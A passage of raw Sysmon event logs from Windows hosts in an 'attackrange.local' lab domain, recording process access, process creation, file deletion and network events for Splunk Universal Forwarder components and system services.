Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-730F-613B-0505-00000000F101}1460C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-730F-613B-0505-00000000F101}1460C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.574{625C326B-730F-613B-0505-00000000F101}1460C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.448{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FDD6DB17F76FDE765395AF7437A66C9,SHA256=66AFA6D09B375CD1FB279E52D6174E1CADB77544E75892460D6CD6550E5AF1E2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:29.164{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59615-false10.0.1.12-8089- 23542300x800000000000000052426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:31.212{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=54A7C1853A5600626BCC71133A5B8C12,SHA256=D188C851C3ADBAD486AD988F2339CCD51280A21B9161435786C5DA4B73366B27,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7310-613B-0705-00000000F101}3648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7310-613B-0705-00000000F101}3648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.917{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7310-613B-0705-00000000F101}3648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.918{625C326B-7310-613B-0705-00000000F101}3648C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT 